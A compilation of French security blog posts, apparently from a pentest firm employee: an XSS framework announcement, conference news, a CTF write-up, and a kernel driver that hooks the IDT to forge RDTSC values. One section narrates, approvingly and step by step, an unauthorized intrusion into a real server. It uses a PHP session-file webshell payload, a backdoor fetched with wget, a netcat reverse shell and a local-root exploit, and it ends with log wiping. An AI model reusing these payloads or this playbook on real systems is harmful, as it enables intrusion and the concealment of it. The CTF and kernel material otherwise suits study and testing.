XeeK is not dead

Ainsi, je travaille activement sur le projet depuis plus d’un mois. J’ai profité de l’expérience de mes collègues pour faire une petit brainstorm sur l’état du projet, et ainsi obtenir de nouvelles idées. Comme certaines de ces idées remettaient en cause la structure mise en place, j’ai préféré reprendre le développement du projet from scratch.

Quoi de neuf depuis 2009 ?

Plusieurs personnes ont développé des outils aux fonctionnalités similaires (Beef, XSS Shell, etc). Plutôt que de réinventer la roue, j’ai préféré m’inspirer de ces outils afin d’intégrer leurs bonnes idées dans la plateforme. Voici quelques unes des nouvelles fonctionnalités prévues pour le moment : (cette liste est susceptible d’évoluer dans les mois à venir)

• L’architecture est désormais de type client – serveur
• Les deux entités communiquent via une API basée sur HTTP/JSON
• Cette architecture permettra de développer de multiples clients, un peu sur le modèle de Metasploit :
  • Interface console
  • Interface Web
  • Interface graphique (applicative)
  • Pourquoi pas une extension Firefox
• Abandon du concept de « scheduler » ; les instructions sont désormais toujours récupérées dynamiquement
• Concept de chaine d’exploits : suite d’instructions qui s’enchaînent
• De nouveaux exploits sont prévus
  • Scan de port du réseau interne
  • Récupération d’historique
  • Proxy

Au niveau technique, ce nouveau XeeK nécessitera PHP >= 5.3.0 (à cause des Late Static Bindings), MySQL ainsi que Python pour l’interface en ligne de commande.

Licence

Ce projet est développé principalement dans le cadre de mon temps R&D chez Sysdream. Il sera diffusé en GPL suite à la conférence que je donnerai à la prochaine Nuit Du Hack. Un SVN ainsi qu’un wiki seront certainement mis en place pour permettre aux intéressés de récupérer les sources ainsi que la documentation.

En attendant le 19 juin, si vous avez des idées / suggestions, n’hésitez pas

La PS3 retournée par George Hotz

Cette année, nous invitons des « VIP » pour présenter des conférences inédites. La liste définitive n’est pas encore connue, néanmoins la présence de George Hotz a été confirmée. Aussi connu sous le pseudo GeoHot, cet étudiant du RIT est le premier à avoir jailbreaké l’iPhone, et plus récemment la PS3. C’est sur le cracking cette dernière console que portera sa conférence.

Call for papers

Bien entendu, présenter une conférence n’est pas réservé aux VIP. Nous recherchons d’ailleurs activement des volontaires souhaitant présenter leurs travaux pour des conférences d’une trentaine de minutes. Si vous êtes intéressés, n’hésitez pas à soumettre votre proposition au staff !

Une péniche de 3 étages

Comme l’année dernière, l’événement aura lieu sur une péniche. Mais cette fois-ci, nous avons pris le gabarit supérieur ! Avec ses 3 étages, la péniche Concorde Atlantique sera en mesure d’accueillir pas moins de 400 participants.

Do you speak English?

Jusqu’ici restée 100% francophone, la Nuit Du Hack devient pour la première fois bilingue, et se voit traduite par « Night Da Hack » en Anglais. Le but étant bien sur de rendre l’événement accessible à nos amis anglophones venant de toute l’Europe, des États-Unis, et partout ailleurs. Certaines conférences seront données en Anglais, d’autres en Français.

Ateliers

A l’image de la DEF CON, nous organiserons des ateliers en parallèle des conférences et challenges. Chacun centré sur un thème particulier, leur but sera de favoriser la mise en pratique pour les participants. Nous recherchons également des volontaires pour présenter des ateliers (ex: lockpicking, manipulation d’outils tels que Metasploit, Maltego, etc), n’hésitez pas à vous faire connaître si vous avez des idées !

Capture The Flag

Comme l’année dernière, le challenge sera un « Capture The Flag ». Pour les néophytes, il s’agit d’un concours par équipes de 5, dans lequel chaque équipe se voit remettre un serveur hébergeant un certain nombre de services vulnérables. Son but est de protéger son serveur en maintenant ses services disponibles, tout en attaquant les serveurs ennemis et en faisant tomber leurs services. Pour gagner des points, il faut trouver des failles ou bien patcher ses services. Chaque service qui tombe fait perdre un certain nombre de points par minute à l’adversaire. Le staff disposera en parallèle d’un serveur de monitoring pour être en mesure de comptabiliser les points en temps réel.

Le CTF est limité à 10 équipes de 5, alors inscrivez-vous vite !

Challenge public

Pour les gens n’ayant que peu d’expérience en pentesting, nous mettrons à disposition de tous un challenge ouvert. Il s’agira d’un serveur accessible en Wifi hébergeant des épreuves communes.

Prix

Les gagnants du CTF se verront remettre divers prix offerts par Sysdream :

• Livres techniques sur la sécurité
• Hardware (laptop, etc)
• Certifications en sécurité (CEH, ECSA/LPT, CISSP, etc.) reconnues mondialement

Pour plus d’infos

Pour vous inscrire ou pour toute information complémentaire, n’hésitez pas à consulter le site de la Nuit Du Hack ! Vous y trouverez notamment des photos et vidéos des années passées. J’ai également posté quelques articles au sujet des dernières éditions sur ce blog.

Le challenge était composé de 9 séries d’épreuves, chacune étant d’un type différent. Décidés à en valider un maximum, nous nous sommes répartis le travail entre tous les membres de l’équipe, en centralisant les solutions. Et c’est moi qui me suis retrouvé désigné comme étant la personne en charge de tout valider . Enfin, deux difficultés notables étaient à souligner : les prises électriques étaient suisses (merci à la personne nous ayant prêté un adaptateur)  et aucune connexion internet n’était fournie.

L'équipe HZV

One Time Pad

J’ai commencé par la première épreuve de la série intitulée « One Time Pad », portant sur la crypto. Il s’agissait de décrypter un fichier chiffré avec l’algorithme One Time Pad, sachant que l’on nous donnait un couple plaintext – ciphertext chiffré avec la même clé… Un simple XOR entre les deux permettait donc de révéler cette dernière, et donc de déchiffrer le message.

RSA

Après cet échauffement, on enchaîne avec du RSA. La deuxième épreuve OTP consiste à casser un message chiffré avec une implémentation de RSA vraisemblablement pas terrible niveau sécurité. Le message en question était composé d’un header qui n’était autre que la concaténation de l’exposant public (e) et du module (N) utilisé pour chiffrer le message, le tout encodé en base 64. Étant donné que N avait une taille ridiculement faible (une trentaine de bits), il était très facile de le factoriser. Personnellement, je me suis servi de l’outil RSA Tool 2, permettant non seulement de factoriser N mais aussi de retrouver l’exposant privé (d). Une fois d obtenu, il suffisait d’utiliser l’outil fourni pour déchiffrer le message.

Follow the white rabbit

La 3ème épreuve de la série consistait à lire un message dans une image représentant un lapin, elle faisait donc appel à de la stéganographie. Notre intuition nous disait qu’il y avait du LSB dans l’air, mais nous n’avons pas eu le temps de coder un outil sur place (nous avions la flemme de lire les specs du BMP). Plusieurs membres de notre équipe ont fait une fixation sur ce lapin, espérant y voir un « message subliminal » (private joke)… Suite à  la fin de ce billet.

F|UxIuS, dont le pseudo a donné mal à la tête au staff

Shoot the caribou

Dans cette épreuve flash faisant partie de la série « les soirées de Kévin », il fallait tirer sur un caribou pour obtenir un score le plus élevé possible. Ce score était alors envoyé au serveur, qui affichait le code de validation si le score était suffisamment élevé. Sauf qu’il était physiquement impossible d’atteindre un tel score, à moins d’être un maniaque de la souris…

Virtualabs et Fluxius se sont alors mis à décompiler le flash, et on trouvé que le score était d’abord chiffré en RC4 puis envoyé au serveur. Bien entendu, la clé RC4 étaient hardcodée dans le flash. Apres extraction de la clé, il leur a donc été possible de forger un score de plusieurs millions de points, de le chiffrer correctement et de l’envoyer au serveur pour que celui-ci accepte de révéler le code de validation.

La team soutenue par son sponsor...

300 captchas

Épreuve « kikoo » n°2. Il fallait résoudre 300 captchas sur une page Web dans un laps de temps très bref. Même si dans l’absolu c’est théoriquement envisageable, cela reste quand même assez incertain. Il fallait donc remarquer que l’URL de validation du captcha contenait en réalité le texte de celui-ci encodé en base64… Il a donc été assez facile de coder un bot en Python récupérant les pages et effectuant la chaîne de validation pour valider l’épreuve.

Failles applicatives

La série d’épreuve nommée  « Exploitation » consistait à télécharger une VM Linux et à exploiter les différentes failles qui s’y trouvaient. Il s’agissait d’une série de binaires SUID comportant différentes failles applicatives. La première n’était autre qu’un buffer overflow. Le temps de sortir Python, un shellcode Linux, ainsi que GDB, et l’épreuve a été validée sans trop de soucis.  La deuxième faille de la série était une format string, un peu plus galère à exploiter. Enfin la dernière était une faille maison qui s’exploitait en forgeant le paramètre d’entrée de telle sorte à ce qu’il soit accepté et que le programme finisse par lire le fichier contenant le code de validation.

Grub FAIL!

Pour exploiter ces 3 failles applicatives, il fallait donc être quand même motivé… Mais il y avait moyen de faire plus simple. Beaucoup plus simple. En effet, les membres du staff avaient oublié un détail crucial : sécuriser le Grub de la VM… Il était par conséquent possible de rooter la VM juste en ajoutant la chaîne ultra-connue « init=/bin/sh » comme paramètre du noyau pour se retrouver automatiquement logué en root. Et paf le shell !

Owned by Grub

Voila ce qui arrive lorsqu’on oublie ce genre de détail . Le staff a d’ailleurs fait une drôle de tête quand nous les avons informé de ce léger oubli. Enfin, ils auraient pu jouer le jeu et accorder un bonus supplémentaire…

Remise des prix

A 1h du mat, le challenge se termine et le vainqueur est annoncé. Même s’il s’agit de moi, je tiens vraiment à rappeler que le véritable vainqueur du challenge n’est pas moi, mais bien l’ensemble de la team qui représentait HZV ! Le 2ème est Samsa (un Espagnol fort sympathique), suivi de Nagual (de Backtrack-fr) et de l’équipe de Maubeuge (merci à Shatter pour le screenshot des scores !).

Résultats Insomni'hack 2010

Nous recevons alors une panoplie de t-shirts Kaspersky et Insomni’hack, ainsi qu’un sympathique routeur firewall Fortinet. Bref, de quoi s’amuser un peu à Sysdream

Nous terminons la soirée tranquillement à notre hôtel, accompagné comme il se doit d’une bouteille de Vodka, de chips et de saucisson. Bah oui, il faut bien fêter tout ça !

Annexe : Le poutrage du lapin masqué

Le lendemain du challenge, après avoir été hanté toute la nuit par l’image du lapin (One Time Pad n°3) resté incomprise, je me suis mis en tête de trouver la solution à cette épreuve. Avec GIMP, je me suis aperçu que l’outil pot de peinture appliqué (réglé avec un seuil nul) sur des zones aléatoires de l’image faisait apparaître clairement des bandes verticales, qui en plus étaient toutes espacées de 7 pixels. Autrement dit, ces bandes avaient beaucoup de chance de représenter les pixels dont le bit de poids fort était à zéro, comme c’est toujours le cas en ASCII (non étendu). Le LSB se confirmait de plus en plus… Ayant Python sous la main, j’ai codé un petit tool permettant de parser l’image, extraire tous ses bits de poid faible, et ainsi reconstituer le message. A un décalage près, voici le résultat :

W3LCOME_2_H4CK3R'S_WOND3RL4ND

On notera la référence au lapin blanc d’Alice au Pays des Merveilles… Maintenant, Crashfr et Fluxius peuvent dormir tranquille sans être hantés . Seul regret : ne pas avoir eu le temps de valider cette épreuve sur place…

Les geeks aussi ont le droit de faire du tourisme

Conclusion et remarques

Au final, toute l’équipe ainsi que moi-même avons passé un très bon moment lors de cette soirée, riche en ambiance chaleureuse, rencontre, boissons (enfin, nous étions la seule équipe à boire), et prise de tête sur les différents challenges . C’était la première fois que je me rendais à un événement de ce genre à l’étranger.

J’aurais toutefois quelques remarques / critiques concernant l’événement :

• Nous avons trouvé assez peu réglo le fait que certaines équipes disposaient d’Internet via une connexion 3G, car cela avantage considérablement.
• Nous regrettons le manque de réalisme des épreuves, un peu trop axées sur la kikoolol attitude et pas assez sur ce qui se trouve réellement en pentest.
• Dommage que l’événement se termine si tôt (1h du mat), surtout avec un nom comme « Insomni’hack »…

J’espère que le staff, s’il lit ce billet, ne les prendra pas mal ; il s’agit au contraire de conseils pour l’année prochaine.

En tout cas, félicitations à eux pour avoir organisé cet événement ! Nous espérons les voir le 19 juin à la Nuit du Hack

Plus de photos sur le blog de Fluxius

Or, deux collègues de Sysdream, Stéfan Leberre (Heurs) et Damien Cauquil (Virtualabs), viennent de trouver une méthode permettant de la contourner sous certaines conditions. Leur article ainsi que leur Proof Of Concept est disponible sur le site de Sysdream :

• L’article Bypassing SEHOP
• Proof Of Concept fonctionnant sous Windows 7

Il était une fois une include non protégée…

Je me lance donc dans l’exploration de l’arborescence en récupérant quelques fichiers intéressants. Commepar exemple /proc/version, qui indique que le serveur tourne sous une Ubuntu basée sur un kernel 2.6.25. Je regarde également une partie de la configuration Apache dans /etc/apache2/apache2.conf, la liste des utilisateurs dans /etc/passwd. /etc/shadow est bien évidemment non accessible car Apache n’est pas lancé par le root. Mais sachant qu’un exploit touchant les Linux non patchés a récemment été publié,  je me dis qu’il doit certainement être possible de rooter le serveur à partir de là. Si j’arrive à exécuter des commandes sur le serveur avec les droits d’Apache, devenir root ne devrait pas être dur en utilisant cet exploit…

Je cherche donc un moyen d’utiliser la faille include pour pouvoir exécuter du code. Je pense en particulier à l’injection de commandes dans les logs Apache. Seul problème : ils ne sont lisibles que par le root, donc pas par Apache (il suffit de tester pour s’en rendre compte rapidement). Où vais-je donc pouvoir injecter mes commandes… ? Quels sont les fichiers manipulés par Apache et PHP dans lesquels on peut écrire indirectement et lire ensuite ? Sur le coup, je sèche…

…un site utilisant les sessions…

Là, Heurs et Virtualabs me donnent la réponse : les sessions PHP. En effet, PHP stocke les variables de session dans des fichiers (elles sont sérialisées) qui se situent dans /var/lib/php5/. Leur nom suit le format sess_$PHPSESSID où $PHPSESSID est l’identifiant de session qui est envoyé dans le cookie, donc facilement récupérable. Et, coup de chance, il se trouve que le challenge en question utilise les sessions pour stocker l’utilisateur courant et son mot de passe. Champs qui ne sont sont bien pas vérifiés lors de la soumission du formulaire

C’est parti ! Je crée un compte bidon avec quelque chose comme <?php system($_GET['c']); ?> pour le login. Je soumet, récupère le cookie contenant l’identifiant de session, et inclus le fichier de session correspondant. Et là, j’obtiens une jolie backdoor PHP sur le serveur. Rudimentaire, certes, mais fonctionnelle ! A partir de là, j’en conçois une légèrement plus élaborée, que je place sur un de mes serveurs, et que je fais télécharger au serveur victime avec un wget (suivi d’un mv). Je peux maintenant exécuter des commandes PHP à volonté, lire des fichiers sources, etc. Je récupère une autre backdoor permettant d’obtenir un remote shell sur ma machine. J’ouvre un port avec Netcat sur ma machine, j’upload et lance la backdoor, et le tour est joué.

… et un kernel non patché.

Je peux maintenant exécuter des commandes de façon interactive, mais toujours avec les droits d’Apache. Je télécharge un des exploits sock_sendpage de Milw0rm, le compile sur le serveur (gcc y était installé, cool), je lance l’exécutable généré, et bing ! Root sur le serveur . Comme mon but n’est pas de planter le serveur, je m’arrête ici. Enfin je prends quand même soin de supprimer toute trace de l’intrusion dans les logs. Et je garde un petit screenshot, pour envoyer au propriétaire du site, l’histoire de le prévenir. Bien entendu, pour envoyer le mail j’ai pris soin de créer un mail anonyme et de passer par un proxy, au cas où le propriétaire serait furax et menacerait de porter plainte… Heureusement, celui-ci est sympa ; il me répond rapidement et me remercie de l’avoir prévenu. Et vous savez le comble de l’histoire ? Ce serveur ne lui appartenait pas, il ne disposait pas lui-même des droits root

Conclusion

Je crois que cette histoire (vraie, pour ceux qui douteraient) illustre plutôt bien et de façon concrète la marche à suivre employée par un attaquant afin de prendre la main sur un serveur : exploitation d’une faille distante pour récupérer des informations, exécution de commandes dans le contexte du processus vulnérable, élévation de privilèges en utilisant un local root, et nettoyage des logs. De plus, cet exemple démontre que ce n’est pas parce que l’on a interdit l’inclusion de fichiers distant que l’on a un appel à include() sécurisé.

J’insiste enfin sur le fait que ce que j’ai réalisé ici était à la portée d’un script kiddie pour peu qu’il connaisse la faille, sache utiliser une backdoor PHP et compiler un exploit. Administrateurs de challenges de hack PHP, méfiez-vous : reproduire des applications vulnérables c’est bien, mais pensez à vous protéger un minimum pour éviter le pire…

Pour cet article, on se propose d’écrire un driver qui effectuera ce hook et qui détournera RDTSC afin de rendre les valeurs 11223344 et 55667788 respectivement dans EAX et EDX lorsqu’on l’appelle. Je présente en premier lieu la théorie nécessaire pour l’attaque, puis décris comment l’implémenter sous Linux. Enfin, je détaille une difficulté majeure à laquelle on peut faire face sur les distributions récentes telles qu’ArchLinux : le flag TIF_NOTSC.

L’instruction RDTSC et le flag TSD

RDTSC signifie « ReaD TimeStamp Counter », autrement dit elle permet de lire le compteur de temps du processeur, incrémenté à chaque cycle d’horloge. Ce compteur n’est autre que le MSR IA32_TIME_STAMP_COUNTER (cf manuel 3B d’Intel, section 18.11). Celui-ci fait 64 bits et est retourné dans EDX et EAX lors de l’appel à RDTSC. Les applications classiques s’en servent généralement pour :

• Effectuer des mesures de performance (benchmark) sans passer par les fonctions du noyau
• Générer des nombres pseudo-aléatoires, à cause du caractère à priori non prévisible de ce compteur (surtout des bits de poids faible)
• Détecter des débogueur en mesurant des deltas entre deux instructions fixes ; si un débogueur est présent et qu’un breakpoint a été posé (ou que le mode step-by-step a été utilisé), le temps écoulé sera beaucoup plus long donc il est facile à l’application de quitter.

Cependant, ce n’est pas exactement comme cela qu’est décrit l’instruction RDTSC dans le manuel 2B d’Intel. En effet, on peut y lire le pseudo-code suivant :

IF (CR4.TSD = 0) or (CPL = 0) or (CR0.PE = 0)
THEN EDX:EAX ? TimeStampCounter;
ELSE (* CR4.TSD = 1 and (CPL = 1, 2, or 3) and CR0.PE = 1 *)
#GP(0);
FI;

On y apprend que le registre CR4 possède un flag TSD qui, s’il est activé, provoquerait une exception lorsque RDTSC est appelé dans un ring supérieur à 0 (mode protégé). Cette exception est la General Protection Fault, notée #GP et définie à l’index 13 dans l’IDT (table des interruptions). L’OS traite cette exception par une routine du noyau qui n’est généralement pas prévue pour gérer ce cas, donc on aura par défaut droit à un crash du programme ayant appelé RDTSC. Sous Linux, cela se traduit par l’envoi d’un signal SIGSEGV au processus, causant une segmentation fault.

IDT hooking

Pour hooker RDTSC, il faut donc dans un premier temps mettre à 1 le flag TSD (bit 2) de CR4 pour déclencher une #GP. Mais ce que nous voulons, c’est appeler notre fonction et non celle du noyau lors de l’exception. Il va donc falloir patcher l’IDT en remplaçant l’adresse du handler 13 par le notre ; autrement dit, faire du IDT hooking.

L’IDT recense des descripteurs explicités à la section 5.11 du manuel 3A d’Intel. Les descripteurs suivant plus ou moins le même format :

Descripteur d'interruption

Comme d’habitude dans la doc Intel, le schéma se lit de bas en haut et de droite à gauche (little endian, quand tu nous tiens…). A la mode des autres descripteurs propres à l’architecture x86, on constate que le champ Offset est découpé en deux parties : poids forts et poids faibles. C’est ce champ qui pointe vers le handler à exécuter lors de l’exception. Il suffit de remplacer sa valeur par l’adresse d’une de nos fonctions, et nous pourrons alors détourner le flux d’exécution lors d’un appel ring 3 à RDTSC.

Trouver l’IDT

Pour pouvoir faire un hook de l’IDT, il faut d’abord savoir la trouver. En fait, il est nécessaire de préciser que pour les processeurs multi-coeur, il n’y a pas une seule IDT mais plusieurs :  une par cœur. Il est donc en théorie nécessaire de hooker toutes les IDT pour éviter les problèmes. Pour connaître l’IDT référencée par un cœur, il suffit d’utiliser l’instruction SIDT sur ce cœur. Cette instruction est accessible en ring 3 ; voici un code qui l’illustre. Cependant, si vous utilisez Linux dans une machine virtuelle telle que VirtualBox, il se peut que vous rencontriez des problèmes en fonction de vos options de virtualisation. En effet, l’instruction SIDT n’est pas toujours bien émulée par l’hyperviseur et il se peut que la valeur qu’elle retourne soit erronée. Préférez-donc la solution suivante si vous tenez à faire vos tests dans une VM.

Même si un procceseur peut avoir plusieurs IDT, Linux n’en utilise qu’une car chaque cœur référence la même. Celle-ci est définie dans le noyau par le symbole idt_table. Pour connaître son adresse, tentez :

grep idt_table /proc/kallsyms

Le premier champ retourné est l’addresse de l’IDT. Si cela ne vous renvoie rien, il vous faudra à la place utiliser le fichier /boot/Symbol.map, généré à la compilation du noyau. Il se peut que son nom soit quelque peu différent ; par exemple sous Ubuntu il suit le format /boot/System.map-$(uname -r) alors que sous ArchLinux il s’appelle /boot/System.map26.

Conception du handler

Une bonne conception du nouveau handler d’interruption est cruciale pour éviter de rendre instable tout le système. En effet, #GP est utilisée non seulement pour RDTSC mais aussi à chaque fois qu’un check de privilèges échoue (pour une bonne ou une mauvaise raison) dans l’OS, autrement dit un sacré paquet de fois… Autant dire qu’il est préférable de laisser l’OS gérer ces cas là tout seul.

Pour cela, il va falloir filtrer dans un premier temps les #GP dues à RDTSC et celles dues à une autre instruction. Détecter l’instruction fautive est facile vu que l’EIP a été empilé ; il suffit de le regarder, d’examiner ce qu’il pointe et de comparer cette valeur à l’opcode de RDTSC : 0F 31, soit 0×310F en mot de 16 bits little endian. Si cela ne correspond pas, on saute sur le handler de base de l’OS pour ne pas tout crasher.

Ce n’est pas tout : les programmes ring 3 de l’OS aussi utilisent RDTSC. Si nous leur rendons des valeurs comme 0×11223344, ils risquent d’avoir un comportement plutôt imprévisible, surtout s’ils s’en servent comme base de temps. J’ai d’ailleurs testé sous Linux ; Cron a segfaulté instantanément et la machine est devenue inutilisable en quelques secondes.

Bref, il faut se débrouiller pour rendre la bonne valeur à ces programmes. La solution est d’émuler RDTSC dans le driver, et de transmettre les résultats dans EAX et EDX au ring 3. Mais comment savoir quand retourner les bonnes et valeurs et les fakes ? La solution la plus simple qui m’est venue à l’esprit est d’utiliser le PIDs du processus courant, en supposant que l’on connaisse le PID à hooker. Pour transmettre au driver le PID du processus en question, on peut utiliser des IOCTLs, justement prévues pour la communication ring 3 – ring 0. Une fois que l’on a le PID, il suffit de consulter le PID courant et on peut savoir si on doit émuler RDTSC ou forger les valeurs.

Récupération du PID courant

Nous avons quasiment tout ce qu’il faut pour implémenter cette attaque sous Linux. La seule chose qu’il nous manque, c’est un moyen dé récupérer le PID du processus courant lorsque l’on est dans un handler d’interruption. Après lecture en diagonale du chapitre 7 d’Understanding The Linux Kernel 3rd edition, on constate qu’il existe une macro nommée current qui permet de récupérer un pointeur vers le descripteur de processus courant. Après avoir testé cette macro, je me suis rendu compte qu’elle ne marche en fait pas dans le contexte d’un handler d’interruption. Il faut utiliser à la place la fonction current_thread_info() qui marche à tous les coups. A partir de là, récupérer le PID est très simple, via l’expression suivante : current_thread_info()->task->pid.

Implémentation 1

Nous pouvons maintenant implémenter l’attaque. Je l’ai réalisé sans problèmes particulier sur une Ubuntu 9.04 avec un noyau 2.6.28, sur processeur AMD dualcore. Les sources sont disponibles plus bas ; voici les points principaux.

//Typedefs
typedef unsigned char u_int8;
typedef unsigned short u_int16;
typedef unsigned int u_int32;
typedef unsigned long long int u_int64;

/**
 * An IDT entry. Cf Intel SDM 3A
 */
typedef struct {
 u_int16 low_offset;
 u_int16 selector;
 u_int8 unused_lo;
 u_int8 segment_type:4;
 u_int8 system_segment_flag:1;
 u_int8 DPL:2;
 u_int8 P:1;
 u_int16 hi_offset;
} __attribute__((packed)) IDTENTRY_ST, *P_IDTENTRY_ST;

Dans un premier temps, on déclare la structure d’un descripteur d’interruption. On fera particulièrement attention à bien spécifier __attribute__((packed)) pour spécifier au compilateur de ne pas faire de padding entre les champs. La fonction effectuant le hook est ci-après :

//Interrupt handlers
u_int32 old_int_handler, new_int_handler2;

void HookOneIDT (P_IDTENTRY_ST _p_IDT, u_int32 _interrupt_number,
                 u_int32* _old_address, u_int32 _new_address)
{
 asm("cli\n\t");

 *_old_address =  ((_p_IDT[_interrupt_number].hi_offset << 16)
                | (_p_IDT[_interrupt_number].low_offset));
 _p_IDT[_interrupt_number].hi_offset = (_new_address >> 16) & 0xFFFF;
 _p_IDT[_interrupt_number].low_offset = (_new_address & 0xFFFF);

 asm("sti\n\t");
}

Rien de particulier ici, à part une désactivation temporaires des interruptions. D’ailleurs, pour être plus rigoureux, il aurait fallu les désactiver sur tous les cœurs, mais comme cette fonction sera appelée avec interrupt_number = 13, qui n’est de toutes façon pas masquable, il n’y a pas de risque.

Le nouveau handler d’interruption est codé à part dans un fichier assembleur. Il s’agit en fait d’un squelette qui sauvegarde le contexte et appelle une fonction C, pour des raisons de commodité :

.globl interrupt_handler

//The interrupt handler.
//This function must be naked. Since it's not possible with gcc on x86 platforms, we put it in a separate asm file.
interrupt_handler: 

 //Save registers
 pusha
 pushf

 //Call our hook function and  the parameter
 //Since convention call of my_func_handler is fastcall, parameter has to be in %ecx
 mov %esp, %ecx
 call my_func_handler

 //Check the return value
 cmp $1, %eax

 //If 1, throw the exception away
 je  my_exit

 //Otherwise, restore registers
 popf
 popa

 //Jump to the original handler
 jmpl * old_int_handler

my_exit:

 //Restore registers
 popf
 popa

 //Pop interrupt error code
 add $4, %esp

 //Return from interrupt
 iret

La fonction appelée, my_func_handler, doit déterminer la nature de l’exception et la traiter si besoin en détournant RDTSC. On utilise son code de retour pour savoir si l’on repasse la main au handler par défaut de Linux, ou si on se contente de retourner en userland.

//Opcode for RDTSC : 0F 31 => 31 OF in little endian
#define RDTSC_OPCODE 0x310F

//Size of RDTSC instruction
#define RDTSC_SIZE   2

/**
 * Interrupt stack structures
 */
typedef struct
{
 u_int32 edi;
 u_int32 esi;
 u_int32 ebp;
 u_int32 esp;
 u_int32 ebx;
 u_int32 edx;
 u_int32 ecx;
 u_int32 eax;
} PUSHA_ST, *P_PUSHA_ST;

typedef struct
{
 u_int32 error_code;  // !! Check Intel Manuals to see if the error code is present or not
 u_int32 eip;
 u_int32 cs;
 u_int32 eflags;
 u_int32 esp;
 u_int32 sp;
} INT_STACK_HARD_ST, P_INT_STACK_HARD_ST;

typedef struct
{
 u_int32              eflags;

 PUSHA_ST             pusha_st;
 INT_STACK_HARD_ST    int_stack_hard_st;

} MY_INT_STACK_ST, *P_MY_INT_STACK_ST;

/**
 * Return current PID
 */
unsigned int GetCurrentPID (void)
{
 // !!! The 'current' macro doesn't work in interrupt context !
 // !!! We have to use current_thread_info()->task instead
 return current_thread_info()->task->pid;
}

/**
 * Function called by the interrupt handler.
 *  !! WARNING !! Don't call printk() inside, or the kernel will freeze !
 *
 * @param stack pointer to the stack
 * @return 0 if this is a normal #GP exception,
 * 1 if it is due to our RDTSC hook
 */
u_int32  __attribute__((__fastcall__))
         my_func_handler (P_MY_INT_STACK_ST stack)
{
 //nb_interrupts++;+
 asm volatile("lock incl nb_interrupts\n\t");

 //Detect if the instruction that triggered the exception is RDTSC
 if(* (u_int16*) stack->int_stack_hard_st.eip == (u_int16) RDTSC_OPCODE)
 {
 //Check who is executing RDTSC
 if(GetCurrentPID() == pid_to_hook)
 {
 //Change EAX and EDX with magic values
 stack->pusha_st.eax = 0x11223344;
 stack->pusha_st.edx = 0x55667788;
 }
 else
 {
 //Perform a normal call to RDTSC
 RDTSC_ST rdtsc;
 RDTSC(&rdtsc);

 stack->pusha_st.eax = rdtsc.eax;
 stack->pusha_st.edx = rdtsc.edx;
 }

 //Increment EIP
 stack->int_stack_hard_st.eip += RDTSC_SIZE;

 return 1;
 }
 else
 {
 return 0;
 }

}

Il y a plusieurs détails qui ont leur importance. D’une part,on définit des structures correspondant à l’état de la pile lors de l’appel à cette fonction. Cela inclut les registres généraux pushés par PUSHA ainsi que les valeurs pushés automatiquement par le processeur. Il faut faire attention à bien inverser leur ordre relativement aux specifications d’Intel, vu que la pile croît des addresses hautes vers les basses. On récupère l’EIP empilé, on déréférence ce pointeur et on compare le mot de 16 bits avec l’opcode de RDTSC renversé (vu qu’il se trouve en mémoire, donc en little-endian). On émule RDTSC su besoin, et on n’oublie pas d’incrémenter EIP afin de sauter par dessus l’instruction lors du retour. On notera que le debug de cette fonction n’est pas trivial, car il est impossible d’utiliser des fonctions comme printk() à l’intérieur.

Voici désormais la partie relative aux IOCTLs. Je n’ai pas détaillé cette partie précédemment car elle fait plutôt partie d’un choix d’implémentation.

#include <linux/ioctl.h>

//The device name in /proc/devices
#define DEVICE_NAME        "rdtsc_exploit"

//The name of the device file in /dev
#define DEVICE_FILE_NAME   "/dev/rdtsc_exploit"

//IOCTL command codes
#define IOCTL_SET_PID    _IOWR(0, 0, unsigned int)

//Device major and minor numbers
static dev_t g_device_num;

//Count the number of hooked interrupts
extern volatile unsigned int nb_interrupts;

//The file_operation structure, to link the device
//to the appropriate handlers
static struct file_operations g_fops = {
 .owner   = THIS_MODULE,
 .ioctl   = my_ioctl,
};

//Char device structure
static struct cdev g_device;

Sous Linux, pour pouvoir communiquer avec un module en utilisant des IOCTLs, il faut créer un périphérique virtuel en mode caractère (char device) et lui assigner un handler l’ioctl. Ce device possèdera un numéro majeur dynamiquement alloué par le noyau. Pour le numéro mineur, nous choisissons simplement 0. Une fois ces ressources allouées, nous enregistrons le device ce qui a pour effet de le faire apparaître dans /proc/devices. Tout ce procédé est fort bien décrit aux chapitres 3 et 6 de Linux Device Drivers, 3rd edition, livre libre que je vous conseille vivement.

/**
 * Create the device
 */
int create_device (void)
{
 //Allocate the device major and minor
 if(alloc_chrdev_region(&g_device_num, 0, 1, DEVICE_NAME))
 {
 printk(KERN_INFO "ERROR: alloc_chrdev_region FAILED\n");
 return -1;
 }

 //Initialise the device
 cdev_init(&g_device, &g_fops);

 //Fill in some fields (optional)
 g_device.owner = THIS_MODULE;
 g_device.ops = &g_fops;

 //Register the device into the kernel
 if(cdev_add(&g_device, g_device_num, 1))
 {
 printk(KERN_INFO "ERROR: cdev_add FAILED\n");
 return -1;
 }

 printk(KERN_INFO "Device registrated successfully - name = %s, "
                  "major = %d, minor = %d\n", DEVICE_NAME,
                  MAJOR(g_device_num), MINOR(g_device_num));

 return 0;
}

/**
 * Delete the device
 */
void delete_device (void)
{
 //Unregister the device
 cdev_del(&g_device);

 //Unregister the device number
 unregister_chrdev_region(g_device_num, 1);
}

Ces deux fonctions réalisent la création et la suppression du device.

Pour manipuler le flag TSD de CR4, on cree les fonctions suivantes :

//Flag of CR4 that disable RDTSC in userland
#define FLAG_DISABLE_USER_RDTSC 0x4

/**
 * Get CR4 value
 */
u_int32 GetCR4 (void)
{
 u_int32 res = 0;

 asm volatile (
 "push %%eax\t\n"
 "mov %%cr4, %%eax\t\n"
 "mov %%eax, %0\t\n"
 "pop %%eax\t\n"
 : "=m"(res));

 return res;
}

/**
 * Set CR4 value
 */
void SetCR4 (u_int32 _new_cr4)
{
 asm volatile(
 "push %%eax\t\n"
 "mov %0, %%eax\t\n"
 "mov %%eax, %%cr4\t\n"
 "pop %%eax\t\n"
 : : "m" (_new_cr4));
}

/**
 * Enable userland calls to RDTSC
 */
void EnableUserRDTSC (void)
{
 SetCR4(GetCR4() & ~FLAG_DISABLE_USER_RDTSC);
}

/**
 * Disable userland calls to RDTSC
 */
void DisableUserRDTSC (void)
{
 SetCR4(GetCR4() | FLAG_DISABLE_USER_RDTSC);
}

On notera au passage la syntaxe assez inhabituelle de l’assembleur inline de GCC, notemment les doubles % nécessaires puisque l’on utilise des références (%0), ainsi que les \n\t en fin de ligne. Et bien entendu, les arguments inversés par rapport à la syntaxe officielle d’Intel.

